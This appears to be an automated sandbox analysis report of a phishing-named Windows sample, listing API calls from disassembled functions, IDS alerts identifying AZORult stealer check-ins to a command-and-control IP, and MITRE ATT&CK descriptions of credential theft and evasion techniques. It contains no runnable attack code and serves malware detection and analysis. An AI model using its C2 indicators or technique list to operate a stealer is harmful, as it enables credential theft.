Instruction ID: f9b53a9290970587256920563605d3a8fa34613ebd87cabe797d0c7397107685
Opcode Fuzzy Hash: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction Fuzzy Hash: 9711C631904104EBCF206FA0DD449AE76B1EF14369F34493BF881B61E1D63D49419A5D

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(?,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction ID: c80361359d7f931d767c6e620dd41e9efa8b0f2766ef6758dcd107922aa8e93c
Opcode Fuzzy Hash: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction Fuzzy Hash: 8E110671A00109AEEB11DFA5C945DEEBBB9EF44344F21407AF901F62A1D7349E50DB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,?,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Part of subcall function 004054F2: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
Part of subcall function 004054F2: CloseHandle.KERNEL32(?), ref: 00405524

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d0da5d482e33d051210c15b68974d9b824af578114fa889f143a46eb6b727379
Instruction ID: bec0dc1b772bef8e3dfa3c1b84bb43adcf6872ff1fa5701b8d2c68c635bc108f
Opcode Fuzzy Hash: d0da5d482e33d051210c15b68974d9b824af578114fa889f143a46eb6b727379
Instruction Fuzzy Hash: 2811A131D04204EBDF109FA0CD859DE7AB5EB04319F204437F501BA1E1C3798982DB9A

Function 00402D05 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402EE5,00000001,?,?,?,00000000,00403425,?), ref: 00402D18
GetTickCount.KERNEL32 ref: 00402D36
CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402D53
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403425,?), ref: 00402D61

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction ID: 4886259ddd31cdb6a9694f28afcf93f0b8e262fe2de839e253ac22cc8a8e0fbd
Opcode Fuzzy Hash: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction Fuzzy Hash: 09F05E3198A221ABD6315B20FE4C99B7BA4FB05B11B14547AF005F11E4C2B84C81CB9C

Function 00404F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC4
CallWindowProcW.USER32(?,?,?,?), ref: 00405015

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Strings

, xrefs: 00404FA5

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction ID: 66009aff32d7b8830e361c6277d22b8a437e9b10976337e76806f1b42b6c8603
Opcode Fuzzy Hash: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction Fuzzy Hash: 7A017172100609ABDF209F11DD80A5F3A25E784318F204037FB00761D1C37A9D51DAAE

Function 00405A12 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405A30
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,004031FD,00436000,00436800), ref: 00405A4B

Strings

nsa, xrefs: 00405A1F

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction ID: 95f7d282eddd658cc867a71ae78a7f6d6a22d0bd0d4c40af2882d7f7832b811b
Opcode Fuzzy Hash: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction Fuzzy Hash: 68F03676700204BBDB009F55DD45F9F77A8EBD5710F10813AE905F7190E6B0AE548B64

Function 004054F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
CloseHandle.KERNEL32(?), ref: 00405524

Strings

Error launching installer, xrefs: 00405505

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction ID: f26dffa8f28471d2a1f864ee7fcc23407611118f3e7675527ed35a3aab9678e5
Opcode Fuzzy Hash: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction Fuzzy Hash: A2E0ECB4A00209AFDB009F64EC49E6B7BBDEB04304BC08521A914F2290E774E9158A69

Function 00406801 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction ID: a6beba8b11f6780db01d9b07fb449380a5bf126b8b7197de7c08299569837353
Opcode Fuzzy Hash: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction Fuzzy Hash: 32A14471E00228CBDF28CFA8C8946ADBBB1FF45305F11856ED856BB281C7785A96DF44

Function 00406A02 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction ID: 30ee09c6b26f98e8194536109d7ce3e20b902e709c9d9403a9562c61d449f9ad
Opcode Fuzzy Hash: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction Fuzzy Hash: 8F913470E00228CBEF28CF98C8947ADBBB1FB45305F15816AD856BB281C7785A96DF44

Function 00406718 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction ID: b50c8aa62e1022faa0523462bc9082c254a891c8b7a0b6d235230cb6e00c602c
Opcode Fuzzy Hash: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction Fuzzy Hash: D0817971D04228CFDF24CFA8C884BADBBB1FB44305F25816AD856BB281C7385A96CF54

Function 0040621D Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction ID: 91081cf311d25a809012e225b52d4c3b5f250b1ae059806297d05f5390b66a1f
Opcode Fuzzy Hash: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction Fuzzy Hash: BB817A71D04228CBEF24CFA8C8847ADBBB1FB44305F11816AD856BB2C1C7785A96DF44

Function 0040666B Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction ID: 08aa30644361a6a90b4bfdee527cb0e90186f6812c849098392b6a7b032e4156
Opcode Fuzzy Hash: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction Fuzzy Hash: D5712571E04228CFDF24CFA8C894BADBBB1FB45305F15806AE856BB281C7385996DF54

Function 00406789 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction ID: 4a61f6f80671d808dc41601989bb6c43c22881685a3a15352730304741b477df
Opcode Fuzzy Hash: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction Fuzzy Hash: 10714771E04228CFEF24CFA8C894BADBBB1FB44305F15806AD856BB281C7785956DF54

Function 004066D5 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction ID: f5c122442136fd671463674f3a0102546b50c27f43e6df69360a8f4413a57d7a
Opcode Fuzzy Hash: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction Fuzzy Hash: 63715771E04228CBEF24CF98C884BADBBB1FB45305F15806AE856BB291C7785A56DF44

Function 00405948 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
lstrcmpiA.KERNEL32(00405B82,00000000), ref: 00405970
CharNextA.USER32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405981
lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction ID: 6e6ac9e946d98d70bf9313254ac0794fd071748d29dfdc9c098e77395f368069
Opcode Fuzzy Hash: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction Fuzzy Hash: B9F0C232504554EFC7029FA9DD0099EBBA8EF06260B2540B6E801F7210D274EE019BA9

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49874 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.5:49874 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2029137 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M2 : 188.114.96.3:80 -> 192.168.2.5:49874
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49898 -> 188.114.96.3:80

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49905
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49856 -> 167.250.5.91:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
